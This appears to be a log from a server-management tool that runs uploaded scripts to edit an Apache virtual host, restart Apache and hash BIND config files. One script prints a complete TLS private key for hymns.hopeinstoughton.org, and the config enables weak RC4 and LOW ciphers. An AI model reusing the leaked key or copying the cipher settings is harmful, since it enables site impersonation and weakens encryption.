dir=/etc/ssl/certs
2026-01-03 18:14:50:
PUT: /tmp/pkp592479
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-03 18:14:50:
chmod 755 /tmp/pkp592479; /tmp/pkp592479; rm /tmp/pkp592479
2026-01-03 18:14:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 49
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2026-01-03 18:14:51:
PUT: /tmp/pkp886170
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_hymns_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf= 1'
fi
2026-01-03 18:14:51:
chmod 755 /tmp/pkp886170; /tmp/pkp886170; rm /tmp/pkp886170
2026-01-03 18:14:51:
2026-01-03 18:14:51:
PUT: /tmp/pkp505870
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-03 18:14:52:
chmod 755 /tmp/pkp505870; /tmp/pkp505870; rm /tmp/pkp505870
2026-01-03 18:14:52:
.
2026-01-03 18:14:52: Establishing a connection
2026-01-03 18:14:53:
PUT: /tmp/pkp684822
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 18:14:54:
chmod 755 /tmp/pkp684822; /tmp/pkp684822; rm /tmp/pkp684822
2026-01-03 18:14:54:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 18:14:54:
PUT: /tmp/pkp134841
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 18:14:55:
chmod 755 /tmp/pkp134841; /tmp/pkp134841; rm /tmp/pkp134841
2026-01-03 18:14:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2026-01-03 18:14:55:
PUT: /tmp/pkp651549
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 18:14:55:
chmod 755 /tmp/pkp651549; /tmp/pkp651549; rm /tmp/pkp651549
2026-01-03 18:14:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 18:20:02: Establishing a connection
2026-01-03 18:20:11: Establishing a connection
2026-01-03 18:20:12:
PUT: /tmp/pkp594400
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 18:20:12:
runuser -l bind -s /bin/bash -c '/tmp/pkp594400; rm /tmp/pkp594400'
2026-01-03 18:20:12:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
